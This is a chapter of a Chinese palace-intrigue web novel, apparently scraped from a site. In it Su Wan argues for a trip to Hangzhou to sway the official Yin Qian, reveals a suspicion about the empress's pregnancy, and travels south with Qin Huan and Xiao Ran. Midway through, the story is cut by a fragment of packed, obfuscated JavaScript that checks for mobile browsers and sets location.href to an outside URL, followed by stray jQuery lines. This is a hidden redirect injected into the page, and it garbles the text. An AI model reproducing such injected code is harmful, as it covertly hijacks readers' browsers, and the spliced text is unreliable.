谋君紫苏九月

93. 动身

    秋月穿过竹帘,洒在苏绾的脸上,明明灭灭的光影间,透出一抹若隐若现的兴奋。


    秦欢将手中狼毫轻轻搁在案上,身子向椅背靠了靠,握着两手问她:“怎么忽然想去杭州?”


    苏绾莞尔道:“杭州素有‘人间天堂’的美称,西湖烟雨,灵隐钟声,我早就想一睹其盛。再者,西湖龙井名冠天下,不亲自尝上一口,岂不辜负此生?”


    然而她的一番热情推介,并没有说服秦欢,“杭州虽风景宜人,然山高水长路迢迢,别处山水入不了你的法眼吗?你想不想去徽州看鱼灯?”


    见苏绾摇摇头,秦欢垂下眼眸,脸色略显忧虑,“你与苏夫人素来不睦,此番贸然前去,人生地不熟的,我担心她会暗中对你使绊,惹你伤心难过。”


    杭州并不是一处安全地方,那里危机四伏,无论是殷潜,还是苏夫人,都令他感到隐隐不安。


    苏绾道:“苏夫人虽已与父亲和离,但她终究是苏家嫡母,名义上还是我的长辈。打断骨头连着筋,她便是心存嫌隙,也不至于做得太过。”


    顿了顿,她眨了眨星眸,带着几分狡黠的笑意:“更何况,有表哥为我撑腰,她若真敢为难我,岂不是自讨没趣?”


    秦欢不置可否,只是定定看着她,像是要透过那双清澈的眼睛,窥见她未说出口的秘密。可苏绾神情如常,波澜不惊,似乎已将一切都掌控在手。她的心,被重重枷锁封住,深藏于不见天日的海底。


    萧染忍不住冷笑出声:“你这只狡猾狐狸,心里打的什么算盘,以为我们看不出来?”


    他抱臂倚在窗棂上,目光幽幽地盯着苏绾,揶揄道:“我猜,你不过是想借机投奔殷潜,为自己谋一条后路罢了。”


    “不会说话可以不说!”苏绾冷笑道:“萧小侯爷,你自诩聪明一世,未免太小瞧我了。我若真落魄到,须投机取巧,认贼作父的地步,倒是辱没了苏家门楣。”


    眸色一沉,语气转为严肃:“我去杭州,实是为了表哥的前程。”


    萧染一怔,满脸不可置信:“为了秦欢?你是真敢胡说八道!怎么不说是为了我呢?”


    话一出口,他自己先愣住了,随即脸色涨得通红,尴尬地转过头去。


    苏绾翻了翻白眼,懒得理会他,缓步走到案几旁,纤手轻拨香炉上的灰烬。炉中白烟袅袅升起,笼罩清丽面庞,显得更加难以捉摸。


    “贵妃与皇后素来不睦,这一点你们比我更清楚。如今皇后怀胎在身,一旦诞下皇子,太子储位岌岌可危。而皇后得势,贵妃与太子将处处受制。若我们不趁早未雨绸缪,迟早会陷入困难险境。”


    她的眸光一敛,“殷潜身居高位,他的立场至关重要。我此行赴杭州,正是为了说服殷潜表明态度,助力贵妃,保太子之位。这不仅是为了贵妃,也是为了你们秦氏一族,更是为了我自己。”


    复又眼神一哀,“覆巢之下,焉有完卵?我今寄人篱下,尚能苟且偷生,他日若表哥家败势微,我又怎能置身事外?”


    这一番话环环相扣,切中时局要害,连秦欢,都为她的思虑深远而感到深深地震撼。


    然而,他终究不能盲目听从苏绾一家之谈。局势错综复杂,稍有不慎,便会将她推入深渊。


    秦欢垂眸,语气淡然:“话虽如此,然则天子之命,又岂是一家之言能左右?朝堂风云诡谲,局势瞬息万变,其中暗藏的杀机,不是你能够掌控的。”


    苏绾纤指随意拂过香炉上的灰烬,又轻轻弹落案几,仿佛在心中盘算着棋局。


    良久,她才淡淡开口:“仅靠殷潜确实不够,朝堂斗争从来不是单靠一人之力,还须有兵权加持。我心中已有计较,只是眼下时机未到,暂且不谈。”


    秦欢默然,他比谁都清楚,太子废储,贵妃失势,几乎是板上钉钉的事。他唯一能做的,是在局势彻底崩坏之前,请求皇帝准许贵妃返回青州乡下,从此远离权斗纷争。


    可苏绾显然不甘心随波逐流。


    “贵妃吉人自有天相,我等不过闲云野鹤,不必插手这些宫闱之事。”秦欢试图劝她放弃。


    苏绾玉手推开香炉,发出一声难听的声响。她抬眸直视秦欢,“贵妃独处深宫,后方孤立无援。若太子被废,贵妃难逃冷宫之厄。到那时,太子殿下遭构陷,沦为阶下囚,贵妃叫天不应,叫地不灵,悔之晚矣。”


    萧染正听得入神,闻听此言,猛地打了个寒颤,“你、你胡说些什么!冷宫、阶下囚……你也太能胡乱揣测了吧!”


    苏绾冷笑一声:“自古后宫争斗,左不过就是争宠夺嫡这点破事儿,早被说书人讲烂了。我不过是揭开了,你们心底最害怕面对的真相罢了。”


    “可惜,世事从来不会因人的胆怯而停止翻覆。若是一味地逃避,等到局势不可挽回之时,再亡羊补牢,又有什么用?”


    秦欢听着她的分析,心中波澜起伏。他越来越感觉到,苏绾看得远,藏得深,许多秘密都是他前世今生尚未触及。“冷宫”一说,绝非空穴来风。苏绾必是掌握了某些关键线索,甚至还可能窥见了他未曾注意的危机。


    还需要进一步试探她。


    秦欢道:“先不说劝和殷潜,难度有几何,即便殷潜肯站队,局势也未必能逆转。圣上心意已决,废储之事恐怕难以翻盘。”


    苏绾微微一笑,“不会的。圣上纵使宽仁,也不可能容忍皇后与别人私通生下的孩子。”


    一语惊醒梦中人。


    秦欢死死盯着苏绾,“你这话是什么意思?”


    苏绾笃定道:“皇后诞下的孩子,若非龙种,太子便仍是储君。表哥,这么浅显的道理,难道你还不明白吗?”


    这两人你一言我一语,说的都是疯话,萧染简直要抓狂,“你是说……皇后她……证据呢?”


    苏绾转向秦欢:“证据不就在贵妃手中吗?”


    贵妃身为医女,时常为后宫嫔妃诊治月事不调之症,偶尔也会翻阅娘娘们的宠幸记录。


    某次,贵妃无意中撞见皇后与温如初在西苑里私会,二人举止亲昵,令人心生遐想。


    然则贵妃是个稳重的性子,与己无关之事,她从不过问打听。


    过了一段日子,皇后月事未如期而至,却令宫女守口如瓶,也不许太医院诊断。


    贵妃觉得蹊跷,特意调阅了皇后的侍寝记录,惊讶地发现日期存在被篡改过的痕迹。


    据贵妃多年来对皇帝龙体的观察,皇帝身体每况愈下,精力不再旺盛,后宫也未再添新嗣。


    种种迹象汇聚,贵妃得出一个骇人的结论:皇后腹中的胎儿,很可能并非龙种。


    恰逢苏夫人上书给贵妃,血泪控诉不孝女苏绾,指使温如初和时枫,利用权势坑害苏家,造成不可挽回的悲剧。


    贵妃与时枫无甚交集,但是温如初与皇后的丑事,她却了解地清清楚楚,遂在皇后面前揭发指责二人苟且。


    结果被皇后先发制人,主动向皇帝承认自己怀了龙嗣。皇帝老来得子,高兴得合不拢嘴,哪里还能听进去贵妃的劝诫。


    至此,贵妃落败。


    35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867829|146123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >秦欢按着太阳穴,无奈道:“这种话,不能随意出口。即便轻而易举揭开了真相,可风暴掀起之后,谁又能承受它的余波?”


    苏绾眼中似有星火跃动,“正因为风暴不可避免,我们才不能袖手旁观。太子与贵妃是秦家的根基,若根基崩塌,试问还有谁能独善其身?”


    秦欢的目光沉了几分。此路险象环生,稍有差池,便是满盘皆输,他不愿意让她涉足这深不见底的旋涡。


    “你可知道,这一步走错,可能会牵连整个秦氏一族?”


    苏绾唇角微扬,笑意中藏着几分决绝:“若连输都不敢,又谈何翻盘?世间的每一步棋,都注定有人付出代价。而我,不想成为那个被牺牲的棋子。”


    秦欢望着她那双倔强的眼眸,心中复杂至极。他既想护她周全,又不得不承认她的话并非毫无道理。


    半晌,他轻叹一声:“既然你心意已决,我不会阻拦。但你必须答应我,若局势不对,立即撤回,绝不可一意孤行。”


    苏绾笑意浅浅,“表哥放心,我自会量力而行。”


    屋内一时沉寂,月光透过竹帘洒落,映在案几与人影之间,明暗交错。


    杭州之行,势在必然。


    孰料萧染当场拒绝,冷冷撇开脸:“我才不去。”


    杭州远在千里之外,而江北漕帮势力发展正如日中天,他作为毒蛇堂堂主,根本无暇分身南下。


    似乎没有人在意他的意见。


    结果,萧染抱着满腔怨气,被半哄半劝地推上了南下的马车。


    风雨兼程,行途艰辛。


    对苏绾单薄的身子骨而言,路途颠簸无异于酷刑。旅途中她常常呕吐不止,高烧不退。每每夜深时分,秦欢守在她床侧,既恨自己未能拦下这场冒险,又怨自己无法为她分担苦楚。


    萧染幸灾乐祸道:“早知这般折腾,还不如待在济南喝茶赏花呢。何苦自讨苦吃?”


    秦欢冷冷投去一眼,萧染自觉闭了嘴。


    更棘手的问题还在后头——苏绾自从渡黄河遭遇惊险后,对船只心生无尽恐惧。无论大小江河,她甫一登船便开始面色苍白,大汗淋漓,心跳加快,继而腿脚发软,甚至昏厥不醒。


    为此,秦欢不得不费尽心思,绕过沿途的小溪与河流,但长江天堑,却是无论如何也绕不过去的。


    无奈之下,秦欢在苏绾饮食中下了一剂安神猛药,让她沉沉昏睡了三天三夜。待船过长江,又行百里路程,苏绾方才悠悠醒转。


    苏绾倚着车壁,自我调侃道:“这一招倒是挺好用,你怎么不早些使呢?”


    秦欢以手帕拂去她额头的汗水,满目心疼道:“早用早升天,再这样折腾下去,迟早断送了你这条小命。”


    此后他再不敢冒险,吩咐车队放缓行程,务必确保苏绾的安危。


    因而,当杭州城的轮廓出现在视野尽头时,已是岁暮寒冬。


    满城笼罩在淡淡的薄雾中,街巷里传来孩童的笑声,与爆竹声遥相呼应,透着年关将至的热闹气息。


    苏绾掀开车帘,远远望着那雾中隐现的西湖,唇角终于浮现一抹笑意。


    “表哥,这就是人间天堂吗?好美呀!”


    秦欢看着她略显苍白的侧脸,忍不住戏谑道:“我这位大夫,总算亲手将你送入天堂。”


    苏绾笑道:“能与表哥一同上天堂,妹妹真是三生有幸。”


    秦欢食指轻叩她的螓首,“你就知道嘴贫,过几日登门拜访殷府,让你吃冷脸闭门羹,看你哭不哭鼻子。”